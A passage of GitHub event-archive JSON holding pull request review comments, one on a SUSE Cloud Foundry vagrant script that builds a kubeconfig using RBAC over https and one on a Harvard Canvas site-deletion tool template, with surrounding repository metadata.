s://api.github.com/repos/freeorion/freeorion/contents/{+path}","compare_url":"https://api.github.com/repos/freeorion/freeorion/compare/{base}...{head}","merges_url":"https://api.github.com/repos/freeorion/freeorion/merges","archive_url":"https://api.github.com/repos/freeorion/freeorion/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/freeorion/freeorion/downloads","issues_url":"https://api.github.com/repos/freeorion/freeorion/issues{/number}","pulls_url":"https://api.github.com/repos/freeorion/freeorion/pulls{/number}","milestones_url":"https://api.github.com/repos/freeorion/freeorion/milestones{/number}","notifications_url":"https://api.github.com/repos/freeorion/freeorion/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/freeorion/freeorion/labels{/name}","releases_url":"https://api.github.com/repos/freeorion/freeorion/releases{/id}","deployments_url":"https://api.github.com/repos/freeorion/freeorion/deployments","created_at":"2015-03-29T08:22:20Z","updated_at":"2019-03-03T20:58:43Z","pushed_at":"2019-03-04T08:36:05Z","git_url":"git://github.com/freeorion/freeorion.git","ssh_url":"git@github.com:freeorion/freeorion.git","clone_url":"https://github.com/freeorion/freeorion.git","svn_url":"https://github.com/freeorion/freeorion","homepage":"https://www.freeorion.org","size":554358,"stargazers_count":347,"watchers_count":347,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":108,"mirror_url":null,"archived":false,"open_issues_count":227,"license":null,"forks":108,"open_issues":227,"watchers":347,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/2384"},"html":{"href":"https://github.com/freeorion/freeorion/pull/2384"},"issue":{"href":"https://api.github.com/repos/freeorion/freeorion/issues/2384"},"comments":{"href":"https://api.github.com/repos/freeorion/freeorion/issues/2384/comments"},"review_comments":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/2384/comments"},"review_comment":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/2384/commits"},"statuses":{"href":"https://api.github.com/repos/freeorion/freeorion/statuses/05408dc11d450bacf1eb6d39a77fe703e5a96901"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 33066062,
"name": "freeorion/freeorion",
"url": "https://api.github.com/repos/freeorion/freeorion"
}
|
{
"id": 11386908,
"login": "geoffthemedio",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/11386908?",
"url": "https://api.github.com/users/geoffthemedio"
}
|
{
"id": 1025550,
"login": "freeorion",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1025550?",
"url": "https://api.github.com/orgs/freeorion"
}
| 2019-03-04T11:16:58 |
9173877246
|
{"actor":{"display_login":"geoffthemedio"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/SUSE/scf/pulls/comments/333154608","pull_request_review_id":299596188,"id":333154608,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzMzE1NDYwOA==","diff_hunk":"@@ -0,0 +1,34 @@\n+#!/usr/bin/env bash\n+\n+# Create ~/.kube/config file that uses the https endpoint to make\n+# sure all requests go through rbac validation (requests via the\n+# http endpoint bypass all validation).\n+\n+set -o errexit -o nounset -o xtrace\n+\n+SECRET=$(kubectl get sa default -n kube-system -o jsonpath=\"{.secrets[0].name}\")\n+CA_CRT=$(kubectl get secrets ${SECRET} -n kube-system -o jsonpath=\"{.data['ca\\.crt']}\")\n+TOKEN=$(kubectl get secrets ${SECRET} -n kube-system -o jsonpath=\"{.data['token']}\" | base64 -d)","path":"vagrant/create_kubeconfig.sh","position":11,"original_position":11,"commit_id":"86e4a5e0cd3c931e566942e235cdd08da3006862","original_commit_id":"86e4a5e0cd3c931e566942e235cdd08da3006862","user":{"login":"mook-as","id":3977982,"node_id":"MDQ6VXNlcjM5Nzc5ODI=","avatar_url":"https://avatars2.githubusercontent.com/u/3977982?v=4","gravatar_id":"","url":"https://api.github.com/users/mook-as","html_url":"https://github.com/mook-as","followers_url":"https://api.github.com/users/mook-as/followers","following_url":"https://api.github.com/users/mook-as/following{/other_user}","gists_url":"https://api.github.com/users/mook-as/gists{/gist_id}","starred_url":"https://api.github.com/users/mook-as/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mook-as/subscriptions","organizations_url":"https://api.github.com/users/mook-as/orgs","repos_url":"https://api.github.com/users/mook-as/repos","events_url":"https://api.github.com/users/mook-as/events{/privacy}","received_events_url":"https://api.github.com/users/mook-as/received_events","type":"User","site_admin":false},"body":"Nit: use full names for scripts\r\n```suggestion\r\nSECRET=$(kubectl get serviceaccount default --namespace kube-system --output jsonpath=\"{.secrets[0].name}\")\r\nCA_CRT=$(kubectl get secrets ${SECRET} --namespace kube-system --output jsonpath=\"{.data['ca\\.crt']}\")\r\nTOKEN=$(kubectl get secrets ${SECRET} --namespace kube-system --output jsonpath=\"{.data['token']}\" | base64 -d)\r\n```","created_at":"2019-10-09T18:03:53Z","updated_at":"2019-10-09T18:09:08Z","html_url":"https://github.com/SUSE/scf/pull/2913#discussion_r333154608","pull_request_url":"https://api.github.com/repos/SUSE/scf/pulls/2913","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/SUSE/scf/pulls/comments/333154608"},"html":{"href":"https://github.com/SUSE/scf/pull/2913#discussion_r333154608"},"pull_request":{"href":"https://api.github.com/repos/SUSE/scf/pulls/2913"}}},"pull_request":{"url":"https://api.github.com/repos/SUSE/scf/pulls/2913","id":326376767,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI2Mzc2NzY3","html_url":"https://github.com/SUSE/scf/pull/2913","diff_url":"https://github.com/SUSE/scf/pull/2913.diff","patch_url":"https://github.com/SUSE/scf/pull/2913.patch","issue_url":"https://api.github.com/repos/SUSE/scf/issues/2913","number":2913,"state":"open","locked":false,"title":"Create ~/.kube/config with https endpoint to use RBAC","user":{"login":"jandubois","id":78947,"node_id":"MDQ6VXNlcjc4OTQ3","avatar_url":"https://avatars3.githubusercontent.com/u/78947?v=4","gravatar_id":"","url":"https://api.github.com/users/jandubois","html_url":"https://github.com/jandubois","followers_url":"https://api.github.com/users/jandubois/followers","following_url":"https://api.github.com/users/jandubois/following{/other_user}","gists_url":"https://api.github.com/users/jandubois/gists{/gist_id}","starred_url":"https://api.github.com/users/jandubois/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jandubois/subscriptions","organizations_url":"https://api.github.com/users/jandubois/orgs","repos_url":"https://api.github.com/users/jandubois/repos","events_url":"https://api.github.com/users/jandubois/events{/privacy}","received_events_url":"https://api.github.com/users/jandubois/received_events","type":"User","site_admin":false},"body":"The default http endpoint bypasses RBAC validation, so all requests are accepted. Which also means that `kubectl --as` doesn't work.\r\n\r\n## How Has This Been Tested?\r\n\r\nVerify that you can run commands as a restricted service account, and make sure commands that are not supposed to be allowed actually fail, e.g.\r\n\r\n```\r\nvagrant@vagrant-kube:~> kubectl --as system:serviceaccount:default:default cluster-info\r\n\r\nTo further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r\nError from server (Forbidden): services is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"services\" in API group \"\" in the namespace \"kube-system\"\r\n```","created_at":"2019-10-09T17:59:37Z","updated_at":"2019-10-09T18:09:08Z","closed_at":null,"merged_at":null,"merge_commit_sha":"59c74edd5f36da517e13481c86ffd1f087831e1c","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/SUSE/scf/pulls/2913/commits","review_comments_url":"https://api.github.com/repos/SUSE/scf/pulls/2913/comments","review_comment_url":"https://api.github.com/repos/SUSE/scf/pulls/comments{/number}","comments_url":"https://api.github.com/repos/SUSE/scf/issues/2913/comments","statuses_url":"https://api.github.com/repos/SUSE/scf/statuses/86e4a5e0cd3c931e566942e235cdd08da3006862","head":{"label":"SUSE:jandubois-create-kubeconfig","ref":"jandubois-create-kubeconfig","sha":"86e4a5e0cd3c931e566942e235cdd08da3006862","user":{"login":"SUSE","id":1067733,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwNjc3MzM=","avatar_url":"https://avatars0.githubusercontent.com/u/1067733?v=4","gravatar_id":"","url":"https://api.github.com/users/SUSE","html_url":"https://github.com/SUSE","followers_url":"https://api.github.com/users/SUSE/followers","following_url":"https://api.github.com/users/SUSE/following{/other_user}","gists_url":"https://api.github.com/users/SUSE/gists{/gist_id}","starred_url":"https://api.github.com/users/SUSE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SUSE/subscriptions","organizations_url":"https://api.github.com/users/SUSE/orgs","repos_url":"https://api.github.com/users/SUSE/repos","events_url":"https://api.github.com/users/SUSE/events{/privacy}","received_events_url":"https://api.github.com/users/SUSE/received_events","type":"Organization","site_admin":false},"repo":{"id":43776718,"node_id":"MDEwOlJlcG9zaXRvcnk0Mzc3NjcxOA==","name":"scf","full_name":"SUSE/scf","private":false,"owner":{"login":"SUSE","id":1067733,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwNjc3MzM=","avatar_url":"https://avatars0.githubusercontent.com/u/1067733?v=4","gravatar_id":"","url":"https://api.github.com/users/SUSE","html_url":"https://github.com/SUSE","followers_url":"https://api.github.com/users/SUSE/followers","following_url":"https://api.github.com/users/SUSE/following{/other_user}","gists_url":"https://api.github.com/users/SUSE/gists{/gist_id}","starred_url":"https://api.github.com/users/SUSE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SUSE/subscriptions","organizations_url":"https://api.github.com/users/SUSE/orgs","repos_url":"https://api.github.com/users/SUSE/repos","events_url":"https://api.github.com/users/SUSE/events{/privacy}","received_events_url":"https://api.github.com/users/SUSE/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SUSE/scf","description":"SUSE Cloud Foundry","fork":false,"url":"https://api.github.com/repos/SUSE/scf","forks_url":"https://api.github.com/repos/SUSE/scf/forks","keys_url":"https://api.github.com/repos/SUSE/scf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SUSE/scf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SUSE/scf/teams","hooks_url":"https://api.github.com/repos/SUSE/scf/hooks","issue_events_url":"https://api.github.com/repos/SUSE/scf/issues/events{/number}","events_url":"https://api.github.com/repos/SUSE/scf/events","assignees_url":"https://api.github.com/repos/SUSE/scf/assignees{/user}","branches_url":"https://api.github.com/repos/SUSE/scf/branches{/branch}","tags_url":"https://api.github.com/repos/SUSE/scf/tags","blobs_url":"https://api.github.com/repos/SUSE/scf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SUSE/scf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SUSE/scf/git/refs{/sha}","trees_url":"https://api.github.com/repos/SUSE/scf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SUSE/scf/statuses/{sha}","languages_url":"https://api.github.com/repos/SUSE/scf/languages","stargazers_url":"https://api.github.com/repos/SUSE/scf/stargazers","contributors_url":"https://api.github.com/repos/SUSE/scf/contributors","subscribers_url":"https://api.github.com/repos/SUSE/scf/subscribers","subscription_url":"https://api.github.com/repos/SUSE/scf/subscription","commits_url":"https://api.github.com/repos/SUSE/scf/commits{/sha}","git_commits_url":"https://api.github.com/repos/SUSE/scf/git/commits{/sha}","comments_url":"https://api.github.com/repos/SUSE/scf/comments{/number}","issue_comment_url":"https://api.github.com/repos/SUSE/scf/issues/comments{/number}","contents_url":"https://api.github.com/repos/SUSE/scf/contents/{+path}","compare_url":"https://api.github.com/repos/SUSE/scf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SUSE/scf/merges","archive_url":"https://api.github.com/repos/SUSE/scf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SUSE/scf/downloads","issues_url":"https://api.github.com/repos/SUSE/scf/issues{/number}","pulls_url":"https://api.github.com/repos/SUSE/scf/pulls{/number}","milestones_url":"https://api.github.com/repos/SUSE/scf/milestones{/number}","notifications_url":"https://api.github.com/repos/SUSE/scf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SUSE/scf/labels{/name}","releases_url":"https://api.github.com/repos/SUSE/scf/releases{/id}","deployments_url":"https://api.github.com/repos/SUSE/scf/deployments","created_at":"2015-10-06T20:30:32Z","updated_at":"2019-10-09T16:38:09Z","pushed_at":"2019-10-09T17:59:38Z","git_url":"git://github.com/SUSE/scf.git","ssh_url":"git@github.com:SUSE/scf.git","clone_url":"https://github.com/SUSE/scf.git","svn_url":"https://github.com/SUSE/scf","homepage":"","size":35756,"stargazers_count":59,"watchers_count":59,"language":"Shell","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":42,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":84,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":42,"open_issues":84,"watchers":59,"default_branch":"develop"}},"base":{"label":"SUSE:develop","ref":"develop","sha":"c68f515a53956961363c873358de07b242698717","user":{"login":"SUSE","id":1067733,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwNjc3MzM=","avatar_url":"https://avatars0.githubusercontent.com/u/1067733?v=4","gravatar_id":"","url":"https://api.github.com/users/SUSE","html_url":"https://github.com/SUSE","followers_url":"https://api.github.com/users/SUSE/followers","following_url":"https://api.github.com/users/SUSE/following{/other_user}","gists_url":"https://api.github.com/users/SUSE/gists{/gist_id}","starred_url":"https://api.github.com/users/SUSE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SUSE/subscriptions","organizations_url":"https://api.github.com/users/SUSE/orgs","repos_url":"https://api.github.com/users/SUSE/repos","events_url":"https://api.github.com/users/SUSE/events{/privacy}","received_events_url":"https://api.github.com/users/SUSE/received_events","type":"Organization","site_admin":false},"repo":{"id":43776718,"node_id":"MDEwOlJlcG9zaXRvcnk0Mzc3NjcxOA==","name":"scf","full_name":"SUSE/scf","private":false,"owner":{"login":"SUSE","id":1067733,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwNjc3MzM=","avatar_url":"https://avatars0.githubusercontent.com/u/1067733?v=4","gravatar_id":"","url":"https://api.github.com/users/SUSE","html_url":"https://github.com/SUSE","followers_url":"https://api.github.com/users/SUSE/followers","following_url":"https://api.github.com/users/SUSE/following{/other_user}","gists_url":"https://api.github.com/users/SUSE/gists{/gist_id}","starred_url":"https://api.github.com/users/SUSE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SUSE/subscriptions","organizations_url":"https://api.github.com/users/SUSE/orgs","repos_url":"https://api.github.com/users/SUSE/repos","events_url":"https://api.github.com/users/SUSE/events{/privacy}","received_events_url":"https://api.github.com/users/SUSE/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SUSE/scf","description":"SUSE Cloud Foundry","fork":false,"url":"https://api.github.com/repos/SUSE/scf","forks_url":"https://api.github.com/repos/SUSE/scf/forks","keys_url":"https://api.github.com/repos/SUSE/scf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SUSE/scf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SUSE/scf/teams","hooks_url":"https://api.github.com/repos/SUSE/scf/hooks","issue_events_url":"https://api.github.com/repos/SUSE/scf/issues/events{/number}","events_url":"https://api.github.com/repos/SUSE/scf/events","assignees_url":"https://api.github.com/repos/SUSE/scf/assignees{/user}","branches_url":"https://api.github.com/repos/SUSE/scf/branches{/branch}","tags_url":"https://api.github.com/repos/SUSE/scf/tags","blobs_url":"https://api.github.com/repos/SUSE/scf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SUSE/scf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SUSE/scf/git/refs{/sha}","trees_url":"https://api.github.com/repos/SUSE/scf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SUSE/scf/statuses/{sha}","languages_url":"https://api.github.com/repos/SUSE/scf/languages","stargazers_url":"https://api.github.com/repos/SUSE/scf/stargazers","contributors_url":"https://api.github.com/repos/SUSE/scf/contributors","subscribers_url":"https://api.github.com/repos/SUSE/scf/subscribers","subscription_url":"https://api.github.com/repos/SUSE/scf/subscription","commits_url":"https://api.github.com/repos/SUSE/scf/commits{/sha}","git_commits_url":"https://api.github.com/repos/SUSE/scf/git/commits{/sha}","comments_url":"https://api.github.com/repos/SUSE/scf/comments{/number}","issue_comment_url":"https://api.github.com/repos/SUSE/scf/issues/comments{/number}","contents_url":"https://api.github.com/repos/SUSE/scf/contents/{+path}","compare_url":"https://api.github.com/repos/SUSE/scf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SUSE/scf/merges","archive_url":"https://api.github.com/repos/SUSE/scf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SUSE/scf/downloads","issues_url":"https://api.github.com/repos/SUSE/scf/issues{/number}","pulls_url":"https://api.github.com/repos/SUSE/scf/pulls{/number}","milestones_url":"https://api.github.com/repos/SUSE/scf/milestones{/number}","notifications_url":"https://api.github.com/repos/SUSE/scf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SUSE/scf/labels{/name}","releases_url":"https://api.github.com/repos/SUSE/scf/releases{/id}","deployments_url":"https://api.github.com/repos/SUSE/scf/deployments","created_at":"2015-10-06T20:30:32Z","updated_at":"2019-10-09T16:38:09Z","pushed_at":"2019-10-09T17:59:38Z","git_url":"git://github.com/SUSE/scf.git","ssh_url":"git@github.com:SUSE/scf.git","clone_url":"https://github.com/SUSE/scf.git","svn_url":"https://github.com/SUSE/scf","homepage":"","size":35756,"stargazers_count":59,"watchers_count":59,"language":"Shell","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":42,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":84,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":42,"open_issues":84,"watchers":59,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/SUSE/scf/pulls/2913"},"html":{"href":"https://github.com/SUSE/scf/pull/2913"},"issue":{"href":"https://api.github.com/repos/SUSE/scf/issues/2913"},"comments":{"href":"https://api.github.com/repos/SUSE/scf/issues/2913/comments"},"review_comments":{"href":"https://api.github.com/repos/SUSE/scf/pulls/2913/comments"},"review_comment":{"href":"https://api.github.com/repos/SUSE/scf/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/SUSE/scf/pulls/2913/commits"},"statuses":{"href":"https://api.github.com/repos/SUSE/scf/statuses/86e4a5e0cd3c931e566942e235cdd08da3006862"}},"author_association":"MEMBER"}}
|
{
"id": 43776718,
"name": "SUSE/scf",
"url": "https://api.github.com/repos/SUSE/scf"
}
|
{
"id": 3977982,
"login": "mook-as",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/3977982?",
"url": "https://api.github.com/users/mook-as"
}
|
{
"id": 1067733,
"login": "SUSE",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1067733?",
"url": "https://api.github.com/orgs/SUSE"
}
| 2019-10-09T18:03:53 |
10595062556
|
{"actor":{"display_login":"mook-as"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/comments/277816609","pull_request_review_id":229726357,"id":277816609,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3NzgxNjYwOQ==","diff_hunk":"@@ -0,0 +1,45 @@\n+{% load collections %}\n+{% load django_helpers %}\n+{% load static %}\n+\n+<!DOCTYPE html>\n+<html lang=\"en\">\n+ <head>\n+ <meta name=\"viewport\"\n+ content=\"width=device-width, initial-scale=1, user-scalable=no\">\n+ <link href=\"{% static 'favicon.ico' %}\" rel=\"icon\" type=\"image/x-icon\">\n+ <link rel=\"stylesheet\" type=\"text/css\"\n+ href=\"{% static 'font-awesome-4.5.0/css/font-awesome.min.css' %}\">\n+ <link rel=\"stylesheet\" type=\"text/css\"\n+ href=\"{% static 'bootstrap-3.3.6/dist/css/bootstrap.min.css' %}\"\n+ media=\"screen\"/>\n+ <link rel=\"stylesheet\" type=\"text/css\"\n+ href=\"{% static 'datatables-1.10.15/media/css/jquery.dataTables.min.css' %}\"\n+ media=\"screen\"/>\n+ <link rel=\"stylesheet\" type=\"text/css\"\n+ href=\"{% static 'cross_list_courses/css/main.css' %}\"","path":"canvas_site_deletion/templates/canvas_site_deletion/base.html","position":20,"original_position":20,"commit_id":"c58cfa33575a5ad74ecec698a4ecdd2f5d6b7c43","original_commit_id":"c58cfa33575a5ad74ecec698a4ecdd2f5d6b7c43","user":{"login":"Chris-Thornton-Harvard","id":28874174,"node_id":"MDQ6VXNlcjI4ODc0MTc0","avatar_url":"https://avatars1.githubusercontent.com/u/28874174?v=4","gravatar_id":"","url":"https://api.github.com/users/Chris-Thornton-Harvard","html_url":"https://github.com/Chris-Thornton-Harvard","followers_url":"https://api.github.com/users/Chris-Thornton-Harvard/followers","following_url":"https://api.github.com/users/Chris-Thornton-Harvard/following{/other_user}","gists_url":"https://api.github.com/users/Chris-Thornton-Harvard/gists{/gist_id}","starred_url":"https://api.github.com/users/Chris-Thornton-Harvard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Chris-Thornton-Harvard/subscriptions","organizations_url":"https://api.github.com/users/Chris-Thornton-Harvard/orgs","repos_url":"https://api.github.com/users/Chris-Thornton-Harvard/repos","events_url":"https://api.github.com/users/Chris-Thornton-Harvard/events{/privacy}","received_events_url":"https://api.github.com/users/Chris-Thornton-Harvard/received_events","type":"User","site_admin":false},"body":"Should this be changed?","created_at":"2019-04-23T18:35:50Z","updated_at":"2019-04-23T18:35:50Z","html_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268#discussion_r277816609","pull_request_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/comments/277816609"},"html":{"href":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268#discussion_r277816609"},"pull_request":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268"}}},"pull_request":{"url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268","id":272800960,"node_id":"MDExOlB1bGxSZXF1ZXN0MjcyODAwOTYw","html_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268","diff_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268.diff","patch_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268.patch","issue_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/268","number":268,"state":"open","locked":false,"title":"New tool(retricted to Account Admins) , to cleanup Canvas sites ","user":{"login":"sapnamysore","id":1084105,"node_id":"MDQ6VXNlcjEwODQxMDU=","avatar_url":"https://avatars1.githubusercontent.com/u/1084105?v=4","gravatar_id":"","url":"https://api.github.com/users/sapnamysore","html_url":"https://github.com/sapnamysore","followers_url":"https://api.github.com/users/sapnamysore/followers","following_url":"https://api.github.com/users/sapnamysore/following{/other_user}","gists_url":"https://api.github.com/users/sapnamysore/gists{/gist_id}","starred_url":"https://api.github.com/users/sapnamysore/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sapnamysore/subscriptions","organizations_url":"https://api.github.com/users/sapnamysore/orgs","repos_url":"https://api.github.com/users/sapnamysore/repos","events_url":"https://api.github.com/users/sapnamysore/events{/privacy}","received_events_url":"https://api.github.com/users/sapnamysore/received_events","type":"User","site_admin":false},"body":"This PR contains changes based on https://jira.huit.harvard.edu/browse/TLT-1955\r\n\r\nAs noted, this is an MVP solving the existing issue with current workflow. Possibly roll in Steps 1-4 eventually into this tool/UI\r\n\r\nThis is deployed on Dev and can be tested with course found via Search courses (and pick for courses with Sites)","created_at":"2019-04-23T16:16:09Z","updated_at":"2019-04-23T18:35:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"09a95b68846701b11c978032ba6c4ce42d099142","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268/commits","review_comments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268/comments","review_comment_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/268/comments","statuses_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/statuses/c58cfa33575a5ad74ecec698a4ecdd2f5d6b7c43","head":{"label":"Harvard-University-iCommons:task/sapnamysore/tlt-1955/site-deletion","ref":"task/sapnamysore/tlt-1955/site-deletion","sha":"c58cfa33575a5ad74ecec698a4ecdd2f5d6b7c43","user":{"login":"Harvard-University-iCommons","id":1083915,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODM5MTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1083915?v=4","gravatar_id":"","url":"https://api.github.com/users/Harvard-University-iCommons","html_url":"https://github.com/Harvard-University-iCommons","followers_url":"https://api.github.com/users/Harvard-University-iCommons/followers","following_url":"https://api.github.com/users/Harvard-University-iCommons/following{/other_user}","gists_url":"https://api.github.com/users/Harvard-University-iCommons/gists{/gist_id}","starred_url":"https://api.github.com/users/Harvard-University-iCommons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Harvard-University-iCommons/subscriptions","organizations_url":"https://api.github.com/users/Harvard-University-iCommons/orgs","repos_url":"https://api.github.com/users/Harvard-University-iCommons/repos","events_url":"https://api.github.com/users/Harvard-University-iCommons/events{/privacy}","received_events_url":"https://api.github.com/users/Harvard-University-iCommons/received_events","type":"Organization","site_admin":false},"repo":{"id":43321944,"node_id":"MDEwOlJlcG9zaXRvcnk0MzMyMTk0NA==","name":"canvas_account_admin_tools","full_name":"Harvard-University-iCommons/canvas_account_admin_tools","private":false,"owner":{"login":"Harvard-University-iCommons","id":1083915,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODM5MTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1083915?v=4","gravatar_id":"","url":"https://api.github.com/users/Harvard-University-iCommons","html_url":"https://github.com/Harvard-University-iCommons","followers_url":"https://api.github.com/users/Harvard-University-iCommons/followers","following_url":"https://api.github.com/users/Harvard-University-iCommons/following{/other_user}","gists_url":"https://api.github.com/users/Harvard-University-iCommons/gists{/gist_id}","starred_url":"https://api.github.com/users/Harvard-University-iCommons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Harvard-University-iCommons/subscriptions","organizations_url":"https://api.github.com/users/Harvard-University-iCommons/orgs","repos_url":"https://api.github.com/users/Harvard-University-iCommons/repos","events_url":"https://api.github.com/users/Harvard-University-iCommons/events{/privacy}","received_events_url":"https://api.github.com/users/Harvard-University-iCommons/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools","description":null,"fork":false,"url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools","forks_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/forks","keys_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/teams","hooks_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/hooks","issue_events_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/events{/number}","events_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/events","assignees_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/assignees{/user}","branches_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/branches{/branch}","tags_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/tags","blobs_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/statuses/{sha}","languages_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/languages","stargazers_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/stargazers","contributors_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/contributors","subscribers_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/subscribers","subscription_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/subscription","commits_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/comments{/number}","contents_url":"https://api.github.com/repos/Harv